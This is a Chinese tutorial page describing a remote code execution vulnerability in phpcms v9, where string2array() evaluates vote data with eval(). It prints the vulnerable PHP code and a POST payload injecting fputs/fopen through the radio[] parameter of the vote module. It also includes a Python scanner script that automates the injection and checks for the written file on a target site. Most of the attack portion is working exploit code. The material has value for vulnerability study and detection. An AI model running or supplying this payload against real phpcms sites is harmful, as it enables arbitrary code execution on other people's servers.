您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程

phpcms前台任意代码执行漏洞的方法实例

凡蕾2025-05-23phpcms教程已有人查阅

导读phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞/phpsso_server/phpcms/libs/functions/global.func.php

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php
/**
* 将字符串转换为数组
*
* @paramstring$data字符串
* @returnarray返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if($data == '''') return array();
eval("\$array = $data;");
return $array;
}
在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程
/**
* 处理投票
*/
public function post(){
$subjectid = intval($_POST[''subjectid'']);
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//当前站点
$siteid = SITEID;
//判断是否已投过票,或者尚未到第二次投票期
$return = $this->check($subjectid);
switch ($return) {
case 0:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
case -1:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
}
if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
$time = SYS_TIME;
$data_arr = array();
foreach($_POST[''radio''] as $radio){//接收POST传递的radio并转换为$radio数组
$data_arr[$radio]=''1'';
}
$new_data = array2string($data_arr);//转成字符串存入数据库中
//添加到数据库
$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
//把字符串$new_data放到data里面
//查询投票奖励点数,并更新会员点数
$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
pc_base::load_app_class(''receipts'',''pay'',0);
receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
//更新投票人数
$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
}
/**
*
* 投票结果显示
*/
public function result(){
$siteid = SITEID;
$subjectid = abs(intval($_GET[''subjectid'']));
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//取出投票标题
$subject_arr = $this->vote->get_subject($subjectid);
if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
extract($subject_arr);
//获取投票选项
$options = $this->vote_option->get_options($subjectid);
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data[''total''] = 0 ;//所有投票选项总数
$vote_data[''votes''] = 0 ;//投票人数
//获取投票结果信息
$infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {
extract($subjectid_arr);
$arr = string2array($data);//调用了string2array进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data[''votes'']++ ;
}
$vote_data[''total''] = $total ;
//SEO设置
$SEO = seo(SITEID, '''', $subject, $description, $subject);
include template(''vote'',''vote_result'');
}
所以执行的过程就是
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据
/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
3.然后我们再查看result,触发string2array函数
/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
4.再看看是否有readme.php文件存在。
附上一个用于bugscan检测脚本
Python
# !/usr/bin/dev python
# -*- coding:utf-8 -*-
import re
import urllib
import urllib2
def get_vote_links(args):
vul_url = args
vote_url = ''%sindex.php?m=vote'' % vul_url
code, head, res, _, _ = curl.curl(vote_url)
ids = []
for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):
ids.append(miter.group(''id''))
if len(ids) == 0:
return None
return list(set(ids))
def assign(service, args):
if service == ''phpcms'':
return True, args
pass
def audit(args):
vul_url = args
ids = get_vote_links(args)
if ids:
for i in ids:
exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
payload = {''subjectid'': 1,
''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
post_data = urllib.urlencode(payload)
curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
curl.curl(verify_url)
shell_url = ''%sbugscan.php'' % vul_url
code, head, res, _, _ = curl.curl(shell_url)
if code == 200 and ''vulnerable test'' in res:
security_hole(vul_url)
pass
if __name__ == "__main__":
from dummy import *
audit(assign(''phpcms'', ''http:// .example.com/'')[1])

本文标签:

很赞哦! ()

相关源码

  • 响应式HTML5家居建材办公家具桌椅pbootcms模板为家居建材、办公家具企业打造的响应式网站模板,同时支持多行业快速适配通过替换文字图片即可转型为其他行业官网,大幅降低开发成本。查看源码
  • 工商注册财务代理记账类自适应pbootcms网站工商注册、财务代理记账企业打造的数字化门户模板,基于PbootCMS内核深度开发。采用前沿响应式架构,无缝适配手机端触控交互与PC端展示需求查看源码
  • 自适应新闻资讯技术博客个人网站pbootcms模板该模板基于PbootCMS开源内核深度开发,该模板适用于游戏新闻网站、游戏博客等企业或个人网站,新闻资讯技术博客pbootcms模板;采用六级分辨率断点适配技术查看源码
  • (自适应)帝国CMS7.5模板淘宝客导购博客文章源码本模板基于帝国CMS7.5内核深度开发,为电商导购类网站设计。采用响应式布局技术,确保在手机、平板及电脑端均能获得优质浏览体验。模板内置商品推荐模块与优惠信息展示区,可快速搭建专业导购平台。查看源码
  • 帝国cms淘宝客京东联盟网站整站源码下载本模板基于帝国CMS内核深度开发,为淘宝客行业量身定制。随着腾讯微信与淘宝生态的互联互通,淘宝客链接现可在微信、QQ等平台直接分享,为推广带来更多便利。模板特别优化了店铺推广功能,有效避免商品下架导致的链接失效问题,同时支持京东联盟等多平台商品推广。查看源码
  • (PC+WAP)货物运输快递物流汽车贸易pbootcms模板下载为货运代理、汽车贸易及快递企业设计的全终端适配网站系统,整合运单追踪与车辆展示核心功能模块原生开发的DIV+CSS架构,支持WebP图像压缩技术。查看源码
分享笔记 (共有 篇笔记)
验证码:

本栏推荐